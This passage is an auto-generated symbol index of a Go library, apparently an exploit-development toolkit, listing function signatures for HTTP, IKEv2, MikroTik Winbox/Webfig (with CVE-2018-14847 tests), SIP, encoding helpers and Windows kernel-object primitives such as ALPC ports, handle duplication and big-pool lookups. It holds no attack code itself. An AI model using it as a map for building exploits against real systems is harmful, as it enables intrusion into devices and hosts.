  function HTTPSendAndRecvWithHeaders (line 450) | func HTTPSendAndRecvWithHeaders(verb string, url string, payload string,...
  function HTTPSendAndRecvWithHeadersNoRedirect (line 462) | func HTTPSendAndRecvWithHeadersNoRedirect(verb string, url string, paylo...
  function MultipartCreateForm (line 516) | func MultipartCreateForm() (*strings.Builder, *multipart.Writer) {
  function MultipartAddField (line 536) | func MultipartAddField(writer *multipart.Writer, name string, value stri...
  function MultipartCreateFormFields (line 585) | func MultipartCreateFormFields(writer *multipart.Writer, fieldMap map[st...
  function MultipartAddPart (line 614) | func MultipartAddPart(writer *multipart.Writer, headers map[string]strin...
  function MultipartAddFile (line 630) | func MultipartAddFile(writer *multipart.Writer, name, filename, ctype, v...
  function GetSetCookieValue (line 640) | func GetSetCookieValue(resp *http.Response, name string) (string, bool) {

FILE: protocol/httphelper_test.go
  function TestBasicAuth (line 8) | func TestBasicAuth(t *testing.T) {
  function TestParseCookies (line 18) | func TestParseCookies(t *testing.T) {
  function TestBuildURI (line 32) | func TestBuildURI(t *testing.T) {
  function TestGenerateURL (line 50) | func TestGenerateURL(t *testing.T) {
  function TestCookieString (line 65) | func TestCookieString(t *testing.T) {

FILE: protocol/ikev2/ikev2.go
  function Uint64ToString (line 74) | func Uint64ToString(num uint64) []byte {
  function generateNonce (line 81) | func generateNonce(length int) ([]byte, bool) {
  method GenerateDHKey (line 94) | func (ikeCrypto *IkeCrypto) GenerateDHKey(diffieHellmanGroup int) bool {
  method Init (line 112) | func (ikeCrypto *IkeCrypto) Init() bool {
  method Connect (line 126) | func (ikeClient *IkeClient) Connect(conf *config.Config) bool {

FILE: protocol/ikev2/ikev2_test.go
  function TestVendorIDPack (line 9) | func TestVendorIDPack(t *testing.T) {
  function TestSecurityAssociationPack (line 42) | func TestSecurityAssociationPack(t *testing.T) {
  function TestNotifyPack (line 57) | func TestNotifyPack(t *testing.T) {

FILE: protocol/ikev2/packs.go
  function IkePackNonce (line 10) | func IkePackNonce(nextPayload int, nonce []byte) []byte {
  function IkePackVendorID (line 18) | func IkePackVendorID(nextPayload int, vendorID []byte) []byte {
  function IkePackNotify (line 26) | func IkePackNotify(nextPayload int, notifyType int, data []byte, protoco...
  function IkePackKeyExchange (line 39) | func IkePackKeyExchange(nextPayload int, dhGroup int, data []byte) []byte {
  function IkePackSecurityAssociation (line 50) | func IkePackSecurityAssociation(payloadType int, proposal []byte) []byte {
  method Pack (line 57) | func (ikeTransform *IkeTransform) Pack() []byte {
  function IkePackPayloadHeader (line 72) | func IkePackPayloadHeader(payloadType int, payloadIn []byte) []byte {
  function IkePackProposal (line 85) | func IkePackProposal(nextPayload int, number int, id int, transforms []I...
  function IkePackHeader (line 102) | func IkePackHeader(ikeClient *IkeClient, payloadType int, version int, e...

FILE: protocol/ikev2/types.go
  type IkeClient (line 187) | type IkeClient struct
  type IkeCrypto (line 192) | type IkeCrypto struct
  type IkeProposal (line 213) | type IkeProposal struct
  type IkeTransform (line 220) | type IkeTransform struct

FILE: protocol/mikrotik/mikrotik_test.go
  function Test_CVE_2018_14847_ServerResponse1 (line 8) | func Test_CVE_2018_14847_ServerResponse1(t *testing.T) {
  function Test_CVE_2018_14847_ServerResponse2 (line 61) | func Test_CVE_2018_14847_ServerResponse2(t *testing.T) {
  function Test_ParseUsersFile (line 106) | func Test_ParseUsersFile(t *testing.T) {
  function Test_MessageCreation (line 115) | func Test_MessageCreation(t *testing.T) {
  function Test_FailingDatFileEntry (line 132) | func Test_FailingDatFileEntry(t *testing.T) {

FILE: protocol/mikrotik/msg.go
  type M2Message (line 11) | type M2Message struct
    method SetTo (line 53) | func (msg M2Message) SetTo(to uint32, handler uint32) {
    method SetCommand (line 60) | func (msg M2Message) SetCommand(command uint32) {
    method SetRequestID (line 64) | func (msg M2Message) SetRequestID(id uint32) {
    method SetReplyExpected (line 68) | func (msg M2Message) SetReplyExpected(expected bool) {
    method SetSessionID (line 72) | func (msg M2Message) SetSessionID(id uint32) {
    method GetSessionID (line 76) | func (msg M2Message) GetSessionID() uint32 {
    method AddBool (line 80) | func (msg M2Message) AddBool(varname uint32, data bool) {
    method AddU32 (line 84) | func (msg M2Message) AddU32(varname uint32, data uint32) {
    method AddString (line 88) | func (msg M2Message) AddString(varname uint32, data []byte) {
    method AddRaw (line 93) | func (msg M2Message) AddRaw(varname uint32, data []byte) {
    method AddU32Array (line 98) | func (msg M2Message) AddU32Array(varname uint32, data []uint32) {
    method Serialize (line 102) | func (msg M2Message) Serialize() []byte {
  function NewM2Message (line 20) | func NewM2Message() *M2Message {
  constant typeBoolean (line 33) | typeBoolean      uint32 = 0
  constant typeShortLength (line 34) | typeShortLength  uint32 = 0x01000000
  constant typeUint32 (line 35) | typeUint32       uint32 = 0x08000000
  constant typeString (line 36) | typeString       uint32 = 0x20000000
  constant typeRaw (line 37) | typeRaw          uint32 = 0x30000000
  constant typeUint32Array (line 38) | typeUint32Array  uint32 = 0x88000000
  constant typeMessageArray (line 39) | typeMessageArray uint32 = 0xa8000000
  constant VarSysTo (line 43) | VarSysTo         uint32 = 0x00ff0001
  constant VarFrom (line 44) | VarFrom          uint32 = 0x00ff0002
  constant VarReplyExpected (line 45) | VarReplyExpected uint32 = 0x00ff0005
  constant VarRequestID (line 46) | VarRequestID     uint32 = 0x00ff0006
  constant VarCommand (line 47) | VarCommand       uint32 = 0x00ff0007
  constant VarErrorCode (line 48) | VarErrorCode     uint32 = 0x00ff0008
  constant VarErrorString (line 49) | VarErrorString   uint32 = 0x00ff0009
  constant VarSessionID (line 50) | VarSessionID     uint32 = 0x00fe0001
  function handleStringorRaw (line 192) | func handleStringorRaw(varTypeName uint32, varName uint32, data *[]byte,...
  function ParseM2Message (line 215) | func ParseM2Message(data []byte, msg *M2Message) bool {

FILE: protocol/mikrotik/webfig.go
  type WebfigSession (line 27) | type WebfigSession struct
  function reverseSlice (line 35) | func reverseSlice(slice []byte) []byte {
  function webEncode (line 48) | func webEncode(data []byte) string {
  function webDecode (line 57) | func webDecode(data string) string {
  function generateKeyPair (line 67) | func generateKeyPair() ([]byte, []byte) {
  function generateSharedKey (line 87) | func generateSharedKey(privateKey []byte, publicKey []byte) []byte {
  function sendPublicKey (line 95) | func sendPublicKey(webfigURL string, publicKey []byte) (string, bool) {
  function initRC4 (line 119) | func initRC4(session *WebfigSession, sharedKey []byte) {
  function NegotiateEncryption (line 151) | func NegotiateEncryption(webfigURL string, session *WebfigSession) bool {
  function SendEncrypted (line 178) | func SendEncrypted(webfigURL string, msg *M2Message, session *WebfigSess...
  function Login (line 237) | func Login(webfigURL string, username string, password string, session *...
  function FileUpload (line 262) | func FileUpload(webfigURL string, filename string, contents string, sess...

FILE: protocol/mikrotik/winbox.go
  function SendM2 (line 13) | func SendM2(conn net.Conn, msg *M2Message) bool {
  function ReceiveM2 (line 37) | func ReceiveM2(conn net.Conn, msg *M2Message) bool {

FILE: protocol/rocketmq/remoting.go
  function CreateMqRemotingMessage (line 26) | func CreateMqRemotingMessage(payload string, code int, version int) []by...
  function ReadMqRemotingResponse (line 70) | func ReadMqRemotingResponse(conn net.Conn) ([]byte, []byte, bool) {

FILE: protocol/rocketmq/remoting_test.go
  function Test_MaxSize (line 9) | func Test_MaxSize(t *testing.T) {

FILE: protocol/sip/examples/call/main.go
  constant host (line 14) | host     = "127.0.0.1"
  constant fromUser (line 15) | fromUser = "john.doe"
  constant pass (line 16) | pass     = "password"
  constant toUser (line 17) | toUser   = "dembele"
  function main (line 20) | func main() {

FILE: protocol/sip/examples/ping/main.go
  constant host (line 15) | host = "127.0.0.1"
  constant fromUser (line 17) | fromUser = "bob"
  constant toUser (line 18) | toUser   = "alice"
  function main (line 21) | func main() {

FILE: protocol/sip/examples/tcp/main.go
  constant host (line 12) | host   = "127.0.0.1"
  constant useTLS (line 13) | useTLS = true
  function main (line 16) | func main() {

FILE: protocol/sip/helper.go
  constant UDPMessageLength (line 35) | UDPMessageLength          = 1300
  constant errMsgRequiredParam (line 36) | errMsgRequiredParam       = "Required parameter: %s"
  constant DefaultMaxForwards (line 37) | DefaultMaxForwards        = 70
  constant DefaultCSeq (line 38) | DefaultCSeq               = 1
  constant DefaultInviteContentType (line 39) | DefaultInviteContentType  = "application/sdp"
  constant DefaultMessageContentType (line 40) | DefaultMessageContentType = "text/plain"
  constant DefaultMessageBodyContent (line 41) | DefaultMessageBodyContent = "Hello, this is a test message."
  constant DefaultInfoContentType (line 42) | DefaultInfoContentType    = "application/dtmf-relay"
  constant DefaultInfoBodyContent (line 43) | DefaultInfoBodyContent    = "Signal=1Signal=1\nDuration=100"
  constant DefaultExpiresHeader (line 44) | DefaultExpiresHeader      = 3600
  constant DefaultRackCSeq (line 45) | DefaultRackCSeq           = 1
  constant DefaultRackInviteCSeq (line 46) | DefaultRackInviteCSeq     = 314159
  constant defaultTransport (line 47) | defaultTransport          = "UDP"
  constant ContentTypePidf (line 48) | ContentTypePidf           = "application/pidf+xml"
  constant sipLineEnd (line 52) | sipLineEnd    = "\r\n"
  constant sipLineEndAlt (line 53) | sipLineEndAlt = "\n"
  type TransportType (line 62) | type TransportType
    method String (line 73) | func (t TransportType) String() string {
  constant UNKNOWN (line 65) | UNKNOWN TransportType = iota
  constant UDP (line 66) | UDP
  constant TCP (line 67) | TCP
  constant TLS (line 68) | TLS
  constant WS (line 69) | WS
  constant WSS (line 70) | WSS
  function SendAndReceiveTCP (line 87) | func SendAndReceiveTCP(conn net.Conn, req sip.Message) (*sip.Response, b...
  function ReadMessageTCP (line 124) | func ReadMessageTCP(conn net.Conn) (sip.Message, bool) {
  function SendAndReceiveUDP (line 177) | func SendAndReceiveUDP(
  function ReadMessageUDP (line 218) | func ReadMessageUDP(conn *net.UDPConn) (sip.Message, bool) {
  function NewSipRequest (line 241) | func NewSipRequest(
  type NewSipRequestOpts (line 336) | type NewSipRequestOpts struct
  function NewViaHeader (line 354) | func NewViaHeader(opts *NewViaOpts) (*sip.ViaHeader, bool) {
  type NewViaOpts (line 390) | type NewViaOpts struct
  function IsContactRequired (line 404) | func IsContactRequired(method sip.RequestMethod) bool {
  function AddMethodHeaders (line 421) | func AddMethodHeaders(req *sip.Request, method sip.RequestMethod) bool {
  function NewRequestBody (line 469) | func NewRequestBody(method sip.RequestMethod) (string, string) {
  function NewDefaultInviteBody (line 495) | func NewDefaultInviteBody(host, sessid, sessver string) string {
  function NewDefaultPublishBody (line 521) | func NewDefaultPublishBody(id, status, entity string) string {
  function NewDefaultNotifyBody (line 550) | func NewDefaultNotifyBody(id, status, contact, ts string) string {
  function ParseTransport (line 577) | func ParseTransport(transport string) TransportType {
  function ParseMethod (line 591) | func ParseMethod(method string) sip.RequestMethod {

FILE: protocol/sip/helper_test.go
  constant host (line 11) | host                        = "localhost"
  constant expectedMethod (line 12) | expectedMethod              = sip.OPTIONS
  constant expectedMaxForwardsHeader (line 13) | expectedMaxForwardsHeader   = "Max-Forwards: 70"
  constant expectedUserAgent (line 14) | expectedUserAgent           = "Jitsi2.10.5550Mac OS X"
  constant expectedAccept (line 15) | expectedAccept              = "application/sdp"
  constant expectedProtocolName (line 16) | expectedProtocolName        = "SIP"
  constant expectedProtocolVersion (line 17) | expectedProtocolVersion     = "2.0"
  constant expectedTransport (line 18) | expectedTransport           = defaultTransport
  constant expectedCSeqHeader (line 19) | expectedCSeqHeader          = "CSeq: 1 OPTIONS"
  constant expectedPresenceHeaderValue (line 20) | expectedPresenceHeaderValue = "presence"
  function TestNewSipRequest (line 23) | func TestNewSipRequest(t *testing.T) {
  function TestNewViaHeader (line 316) | func TestNewViaHeader(t *testing.T) {
  function TestIsContactRequired (line 396) | func TestIsContactRequired(t *testing.T) {
  function TestAddMethodHeaders (line 426) | func TestAddMethodHeaders(t *testing.T) {
  function TestNewRequestBody (line 645) | func TestNewRequestBody(t *testing.T) {
  function TestNewDefaultInviteBody (line 703) | func TestNewDefaultInviteBody(t *testing.T) {
  function TestNewDefaultPublishBody (line 740) | func TestNewDefaultPublishBody(t *testing.T) {
  function TestNewDefaultNotifyBody (line 780) | func TestNewDefaultNotifyBody(t *testing.T) {
  function TestParseTransport (line 813) | func TestParseTransport(t *testing.T) {
  function TestParseMethod (line 835) | func TestParseMethod(t *testing.T) {

FILE: protocol/tcpsocket.go
  function MixedConnect (line 18) | func MixedConnect(host string, port int, ssl bool) (net.Conn, bool) {
  function TLSConnect (line 27) | func TLSConnect(host string, port int) (net.Conn, bool) {
  function TCPConnect (line 37) | func TCPConnect(host string, port int) (net.Conn, bool) {
  function TCPWrite (line 76) | func TCPWrite(conn net.Conn, data []byte) bool {
  function TCPReadAmount (line 93) | func TCPReadAmount(conn net.Conn, amount int) ([]byte, bool) {
  function TCPReadAmountBlind (line 117) | func TCPReadAmountBlind(conn net.Conn, amount int) ([]byte, bool) {

FILE: protocol/udpsocket.go
  function UDPConnect (line 11) | func UDPConnect(host string, port int) (*net.UDPConn, bool) {
  function UDPWrite (line 32) | func UDPWrite(conn *net.UDPConn, data []byte) bool {
  function UDPReadAmount (line 49) | func UDPReadAmount(conn *net.UDPConn, amount int) ([]byte, bool) {

FILE: random/random.go
  function RandIntRange (line 20) | func RandIntRange(rangeMin int, rangeMax int) int {
  function RandPositiveInt (line 34) | func RandPositiveInt(rangeMax int) int {
  function RandLetters (line 47) | func RandLetters(n int) string {
  function RandLettersNoBadChars (line 58) | func RandLettersNoBadChars(n int, badchars []rune) string {
  function RandLettersRange (line 87) | func RandLettersRange(rangeMin int, rangeMax int) string {
  function RandMAC (line 92) | func RandMAC() string {
  function RandHex (line 102) | func RandHex(n int) string {
  function RandHexRange (line 112) | func RandHexRange(rangeMin int, rangeMax int) string {
  function RandDigits (line 117) | func RandDigits(n int) string {
  function RandDigitsRange (line 134) | func RandDigitsRange(rangeMin int, rangeMax int) string {
  function RandDomain (line 139) | func RandDomain() string {
  function RandEmail (line 147) | func RandEmail() string {
  function RandIPv4 (line 159) | func RandIPv4() net.IP {
  function RandIPv4Private (line 169) | func RandIPv4Private() net.IP {
  function RandIPv4Loopback (line 197) | func RandIPv4Loopback() net.IP {
  function RandIPv6 (line 207) | func RandIPv6() net.IP {

FILE: random/random_test.go
  function Test_RandPositiveInt (line 9) | func Test_RandPositiveInt(t *testing.T) {
  function Test_RandIntRange (line 19) | func Test_RandIntRange(t *testing.T) {
  function Test_RandLetters (line 29) | func Test_RandLetters(t *testing.T) {
  function Test_RandLettersNoBadChars (line 57) | func Test_RandLettersNoBadChars(t *testing.T) {
  function Test_RandDigits (line 73) | func Test_RandDigits(t *testing.T) {
  function Test_RandHex (line 90) | func Test_RandHex(t *testing.T) {
  function Test_RandLettersRange (line 103) | func Test_RandLettersRange(t *testing.T) {
  function Test_RandHexRange (line 116) | func Test_RandHexRange(t *testing.T) {
  function Test_RandDigitsRange (line 129) | func Test_RandDigitsRange(t *testing.T) {
  function Test_RandDomain (line 146) | func Test_RandDomain(t *testing.T) {
  function Test_RandMAC (line 158) | func Test_RandMAC(t *testing.T) {
  function Test_RandEmail (line 170) | func Test_RandEmail(t *testing.T) {
  function TestRandIPv4 (line 182) | func TestRandIPv4(t *testing.T) {
  function TestRandIPv6 (line 195) | func TestRandIPv6(t *testing.T) {
  function TestRandIPv4Private (line 208) | func TestRandIPv4Private(t *testing.T) {
  function TestRandIPv4Loopback (line 228) | func TestRandIPv4Loopback(t *testing.T) {

FILE: search/search_test.go
  function TestCheckSemVer_Full (line 19) | func TestCheckSemVer_Full(t *testing.T) {
  function TestCheckSemVer_BadVersion (line 28) | func TestCheckSemVer_BadVersion(t *testing.T) {
  function TestCheckSemVer_BadConstraint (line 37) | func TestCheckSemVer_BadConstraint(t *testing.T) {
  function TestXPath_Node (line 46) | func TestXPath_Node(t *testing.T) {
  function TestXPath_NodeMultiple (line 56) | func TestXPath_NodeMultiple(t *testing.T) {
  function TestXPathAll_NodeMultiple (line 66) | func TestXPathAll_NodeMultiple(t *testing.T) {
  function TestXPath_Attributes (line 76) | func TestXPath_Attributes(t *testing.T) {

FILE: search/semver.go
  function CheckSemVer (line 14) | func CheckSemVer(version string, constraint string) bool {

FILE: search/xpath.go
  function XPath (line 15) | func XPath(document, path string) (string, bool) {
  function XPathAll (line 34) | func XPathAll(document, path string) ([]string, bool) {

FILE: transform/encode.go
  function StringToUnicodeByteArray (line 20) | func StringToUnicodeByteArray(s string) []byte {
  function Inflate (line 31) | func Inflate(compressed []byte) ([]byte, bool) {
  function EncodeBase64 (line 51) | func EncodeBase64(s string) string {
  function EncodeBase64URL (line 56) | func EncodeBase64URL(s string) string {
  function EncodeBase64GWTRPC (line 61) | func EncodeBase64GWTRPC(s string) string {
  function EncodeBase64Chunks (line 75) | func EncodeBase64Chunks(s string, maxChunkSize uint) []string {
  function DecodeBase64 (line 133) | func DecodeBase64(s string) string {
  function DecodeBase64URL (line 145) | func DecodeBase64URL(s string) string {
  function Title (line 160) | func Title(s string) string {
  function URLEncodeString (line 165) | func URLEncodeString(inputString string) string {
  function PackLittleInt16 (line 175) | func PackLittleInt16(n int) string {
  function PackLittleInt32 (line 187) | func PackLittleInt32(n int) string {
  function PackLittleInt64 (line 199) | func PackLittleInt64(n int) string {
  function PackBigInt16 (line 211) | func PackBigInt16(n int) string {
  function PackBigInt32 (line 223) | func PackBigInt32(n int) string {
  function PackBigInt64 (line 235) | func PackBigInt64(n int) string {
  function PackBigFloat32 (line 247) | func PackBigFloat32(f float32) string {

FILE: transform/encode_test.go
  constant urlTestString (line 8) | urlTestString = "Theskyabovetheportwasthecoloroftelevision,tunedtoadeadc...
  function TestURLEncodeString (line 11) | func TestURLEncodeString(t *testing.T) {
  function TestEncodeBase64 (line 21) | func TestEncodeBase64(t *testing.T) {
  function TestEncodeBase64Chunks (line 31) | func TestEncodeBase64Chunks(t *testing.T) {
  function TestEncodeBase64Chunks_EmptyString (line 62) | func TestEncodeBase64Chunks_EmptyString(t *testing.T) {
  function TestEncodeBase64Chunks_SmallerThanMaxsize (line 69) | func TestEncodeBase64Chunks_SmallerThanMaxsize(t *testing.T) {
  function TestEncodeBase64URL (line 77) | func TestEncodeBase64URL(t *testing.T) {
  function TestDecodeBase64URL (line 87) | func TestDecodeBase64URL(t *testing.T) {
  function TestDecodeBase64URL_NoPad (line 97) | func TestDecodeBase64URL_NoPad(t *testing.T) {
  function TestDecodeBase64URL_WayTooMuchPadding (line 107) | func TestDecodeBase64URL_WayTooMuchPadding(t *testing.T) {
  function TestDecodeBase64 (line 117) | func TestDecodeBase64(t *testing.T) {
  function TestTitle (line 127) | func TestTitle(t *testing.T) {
  function TestPackLittleInt32 (line 137) | func TestPackLittleInt32(t *testing.T) {
  function TestPackLittleInt64 (line 147) | func TestPackLittleInt64(t *testing.T) {
  function TestPackBigInt16 (line 157) | func TestPackBigInt16(t *testing.T) {
  function TestPackBigInt32 (line 167) | func TestPackBigInt32(t *testing.T) {
  function TestPackBigInt64 (line 177) | func TestPackBigInt64(t *testing.T) {
  function TestInflate (line 187) | func TestInflate(t *testing.T) {

FILE: transform/escape.go
  function EscapeXML (line 13) | func EscapeXML(s string) string {

FILE: transform/escape_test.go
  function TestEscapeHTML (line 7) | func TestEscapeHTML(t *testing.T) {
  function TestEscapeXML (line 17) | func TestEscapeXML(t *testing.T) {

FILE: transform/parsing.go
  function ParseCommand (line 13) | func ParseCommand(command string) (string, string, bool) {

FILE: transform/parsing_test.go
  function TestParseCommand (line 5) | func TestParseCommand(t *testing.T) {

FILE: transform/transform.go
  function ShuffleURLParameters (line 17) | func ShuffleURLParameters(request string) string {

FILE: transform/transform_test.go
  function TestShuffleParameters (line 7) | func TestShuffleParameters(t *testing.T) {
  function TestShuffleParametersFullURL (line 24) | func TestShuffleParametersFullURL(t *testing.T) {
  function TestShuffleParametersInvalid (line 55) | func TestShuffleParametersInvalid(t *testing.T) {

FILE: windows/alpc_other.go
  constant AlpcBasicInformation (line 11) | AlpcBasicInformation                                = 0
  constant AlpcPortInformation (line 12) | AlpcPortInformation                                 = 1
  constant AlpcAssociateCompletionPortInformation (line 13) | AlpcAssociateCompletionPortInformation              = 2
  constant AlpcConnectedSIDInformation (line 14) | AlpcConnectedSIDInformation                         = 3
  constant AlpcServerInformation (line 15) | AlpcServerInformation                               = 4
  constant AlpcMessageZoneInformation (line 16) | AlpcMessageZoneInformation                          = 5
  constant AlpcRegisterCompletionListInformation (line 17) | AlpcRegisterCompletionListInformation               = 6
  constant AlpcUnregisterCompletionListInformation (line 18) | AlpcUnregisterCompletionListInformation             = 7
  constant AlpcAdjustCompletionListConcurrencyCountInformation (line 19) | AlpcAdjustCompletionListConcurrencyCountInformation = 8
  constant AlpcRegisterCallbackInformation (line 20) | AlpcRegisterCallbackInformation                     = 9
  constant AlpcDisconnectPortInformation (line 21) | AlpcDisconnectPortInformation                       = 10
  constant AlpcPortSectionInformation (line 22) | AlpcPortSectionInformation                          = 11
  function EnumALPCPorts (line 27) | func EnumALPCPorts(_ uint32) ([]HandleInfo, bool) {
  function QueryALPCPortSectionInfo (line 33) | func QueryALPCPortSectionInfo(_ Handle) (*ALPCSectionInfo, bool) {
  function NtAlpcCreatePort (line 39) | func NtAlpcCreatePort(_ string, _ uint64) (Handle, bool) {
  function NtAlpcCreateResourceReserve (line 45) | func NtAlpcCreateResourceReserve(_ Handle, _ uint32) (Handle, bool) {
  function NtAlpcSendWaitReceivePort (line 51) | func NtAlpcSendWaitReceivePort(_ Handle, _ uint32, _ unsafe.Pointer) (ui...
  function CreateALPCPorts (line 57) | func CreateALPCPorts(_ uint32, _ string, _ uint64) ([]Handle, bool) {

FILE: windows/alpc_test.go
  function TestALPCInformationClassConstants (line 10) | func TestALPCInformationClassConstants(t *testing.T) {
  function TestEnumALPCPortsNonWindows (line 38) | func TestEnumALPCPortsNonWindows(t *testing.T) {
  function TestQueryALPCPortSectionInfoNonWindows (line 47) | func TestQueryALPCPortSectionInfoNonWindows(t *testing.T) {
  function TestALPCSectionInfoStruct (line 56) | func TestALPCSectionInfoStruct(t *testing.T) {

FILE: windows/alpc_windows.go
  constant AlpcBasicInformation (line 16) | AlpcBasicInformation                                = 0
  constant AlpcPortInformation (line 17) | AlpcPortInformation                                 = 1
  constant AlpcAssociateCompletionPortInformation (line 18) | AlpcAssociateCompletionPortInformation              = 2
  constant AlpcConnectedSIDInformation (line 19) | AlpcConnectedSIDInformation                         = 3
  constant AlpcServerInformation (line 20) | AlpcServerInformation                               = 4
  constant AlpcMessageZoneInformation (line 21) | AlpcMessageZoneInformation                          = 5
  constant AlpcRegisterCompletionListInformation (line 22) | AlpcRegisterCompletionListInformation               = 6
  constant AlpcUnregisterCompletionListInformation (line 23) | AlpcUnregisterCompletionListInformation             = 7
  constant AlpcAdjustCompletionListConcurrencyCountInformation (line 24) | AlpcAdjustCompletionListConcurrencyCountInformation = 8
  constant AlpcRegisterCallbackInformation (line 25) | AlpcRegisterCallbackInformation                     = 9
  constant AlpcDisconnectPortInformation (line 26) | AlpcDisconnectPortInformation                       = 10
  constant AlpcPortSectionInformation (line 27) | AlpcPortSectionInformation                          = 11
  type alpcPortSectionInfoInternal (line 31) | type alpcPortSectionInfoInternal struct
  function EnumALPCPorts (line 40) | func EnumALPCPorts(pid uint32) ([]HandleInfo, bool) {
  function QueryALPCPortSectionInfo (line 47) | func QueryALPCPortSectionInfo(portHandle Handle) (*ALPCSectionInfo, bool) {
  function NtAlpcCreatePort (line 77) | func NtAlpcCreatePort(portName string, maxMessageLength uint64) (Handle,...
  function NtAlpcCreateResourceReserve (line 116) | func NtAlpcCreateResourceReserve(portHandle Handle, messageSize uint32) ...
  function NtAlpcSendWaitReceivePort (line 139) | func NtAlpcSendWaitReceivePort(portHandle Handle, flags uint32, sendMsg ...
  function CreateALPCPorts (line 162) | func CreateALPCPorts(count uint32, prefix string, maxMessageLength uint6...

FILE: windows/device_other.go
  function OpenDevice (line 9) | func OpenDevice(_ string, _ uint32) (Handle, bool) {
  function DeviceIoControl (line 15) | func DeviceIoControl(_ Handle, _ uint32, _ []byte, _ []byte) (uint32, bo...
  function DeviceIoControlPtr (line 21) | func DeviceIoControlPtr(_ Handle, _ uint32, _ unsafe.Pointer, _ uint32, ...
  function CtlCode (line 28) | func CtlCode(deviceType, function, method, access uint32) uint32 {
  constant FileDeviceUnknown (line 34) | FileDeviceUnknown = 0x00000022
  constant FileDeviceKS (line 35) | FileDeviceKS      = 0x0000002F
  constant MethodBuffered (line 40) | MethodBuffered  = 0
  constant MethodInDirect (line 41) | MethodInDirect  = 1
  constant MethodOutDirect (line 42) | MethodOutDirect = 2
  constant MethodNeither (line 43) | MethodNeither   = 3
  constant FileAnyAccess (line 48) | FileAnyAccess   = 0
  constant FileReadAccess (line 49) | FileReadAccess  = 1
  constant FileWriteAccess (line 50) | FileWriteAccess = 2

FILE: windows/device_test.go
  function TestCtlCode (line 10) | func TestCtlCode(t *testing.T) {
  function TestOpenDeviceNonWindows (line 20) | func TestOpenDeviceNonWindows(t *testing.T) {
  function TestDeviceIoControlNonWindows (line 29) | func TestDeviceIoControlNonWindows(t *testing.T) {
  function TestDeviceConstants (line 38) | func TestDeviceConstants(t *testing.T) {

FILE: windows/device_windows.go
  function OpenDevice (line 13) | func OpenDevice(devicePath string, access uint32) (Handle, bool) {
  function DeviceIoControl (line 38) | func DeviceIoControl(device Handle, ioControlCode uint32, inBuffer []byt...
  function DeviceIoControlPtr (line 76) | func DeviceIoControlPtr(device Handle, ioControlCode uint32, inPtr unsaf...
  function CtlCode (line 106) | func CtlCode(deviceType, function, method, access uint32) uint32 {
  constant FileDeviceUnknown (line 112) | FileDeviceUnknown = 0x00000022
  constant FileDeviceKS (line 113) | FileDeviceKS      = 0x0000002F
  constant MethodBuffered (line 118) | MethodBuffered  = 0
  constant MethodInDirect (line 119) | MethodInDirect  = 1
  constant MethodOutDirect (line 120) | MethodOutDirect = 2
  constant MethodNeither (line 121) | MethodNeither   = 3
  constant FileAnyAccess (line 126) | FileAnyAccess   = 0
  constant FileReadAccess (line 127) | FileReadAccess  = 1
  constant FileWriteAccess (line 128) | FileWriteAccess = 2

FILE: windows/fsctl_other.go
  function NtFsControlFile (line 7) | func NtFsControlFile(_ Handle, _ uint32, _ []byte, _ []byte) (*IOStatusB...
  function NtFsControlFilePtr (line 13) | func NtFsControlFilePtr(_ Handle, _ uint32, _ uintptr, _ uint32, _ uintp...
  function NtCreateFile (line 19) | func NtCreateFile(_ string, _ uint32, _ uint32, _ uint32, _ uint32, _ ui...

FILE: windows/fsctl_windows.go
  function NtFsControlFile (line 15) | func NtFsControlFile(handle Handle, fsctlCode uint32, inBuf []byte, outB...
  function NtFsControlFilePtr (line 52) | func NtFsControlFilePtr(handle Handle, fsctlCode uint32, inPtr uintptr, ...
  function NtCreateFile (line 79) | func NtCreateFile(ntPath string, desiredAccess uint32, shareAccess uint3...

FILE: windows/handle_other.go
  function QuerySystemHandles (line 7) | func QuerySystemHandles() ([]HandleInfo, bool) {
  function QueryProcessHandles (line 13) | func QueryProcessHandles(_ uint32) ([]HandleInfo, bool) {
  function QueryProcessHandlesByType (line 19) | func QueryProcessHandlesByType(_ uint32, _ uint8) ([]HandleInfo, bool) {
  function DuplicateHandle (line 25) | func DuplicateHandle(_ Handle, _ Handle, _ Handle, _ uint32, _ bool, _ u...
  function DuplicateHandleFromProcess (line 31) | func DuplicateHandleFromProcess(_ uint32, _ uint16) (Handle, bool) {
  constant DuplicateCloseSource (line 37) | DuplicateCloseSource = 0x1
  constant DuplicateSameAccess (line 38) | DuplicateSameAccess  = 0x2
  function QueryBigPoolInformation (line 43) | func QueryBigPoolInformation(_ uint32, _ uint64) ([]BigPoolEntry, bool) {
  function FindBigPoolAddress (line 49) | func FindBigPoolAddress(_ uint32, _ uint64) (uintptr, bool) {

FILE: windows/handle_test.go
  function TestHandleDuplicationConstants (line 10) | func TestHandleDuplicationConstants(t *testing.T) {
  function TestQuerySystemHandlesNonWindows (line 19) | func TestQuerySystemHandlesNonWindows(t *testing.T) {
  function TestQueryProcessHandlesNonWindows (line 28) | func TestQueryProcessHandlesNonWindows(t *testing.T) {
  function TestQueryProcessHandlesByTypeNonWindows (line 37) | func TestQueryProcessHandlesByTypeNonWindows(t *testing.T) {
  function TestDuplicateHandleNonWindows (line 46) | func TestDuplicateHandleNonWindows(t *testing.T) {
  function TestDuplicateHandleFromProcessNonWindows (line 62) | func TestDuplicateHandleFromProcessNonWindows(t *testing.T) {

FILE: windows/handle_windows.go
  function QuerySystemHandles (line 16) | func QuerySystemHandles() ([]HandleInfo, bool) {
  function QueryProcessHandles (line 64) | func QueryProcessHandles(pid uint32) ([]HandleInfo, bool) {
  function QueryProcessHandlesByType (line 81) | func QueryProcessHandlesByType(pid uint32, objectTypeIndex uint8) ([]Han...
  function DuplicateHandle (line 98) | func DuplicateHandle(sourceProcess Handle, sourceHandle Handle, targetPr...
  function DuplicateHandleFromProcess (line 126) | func DuplicateHandleFromProcess(sourcePID uint32, sourceHandleValue uint...
  constant DuplicateCloseSource (line 150) | DuplicateCloseSource = 0x1
  constant DuplicateSameAccess (line 151) | DuplicateSameAccess  = 0x2
  function QueryBigPoolInformation (line 157) | func QueryBigPoolInformation(tag uint32, poolSize uint64) ([]BigPoolEntr...
  function FindBigPoolAddress (line 216) | func FindBigPoolAddress(tag uint32, poolSize uint64) (uintptr, bool) {

FILE: windows/memory_other.go
  function VirtualAlloc (line 7) | func VirtualAlloc(_ uintptr, _ uintptr, _ uint32, _ uint32) (uintptr, bo...
  function VirtualAllocEx (line 13) | func VirtualAllocEx(_ Handle, _ uintptr, _ uintptr, _ uint32, _ uint32) ...
  function VirtualFree (line 19) | func VirtualFree(_ uintptr, _ uintptr, _ uint32) bool {
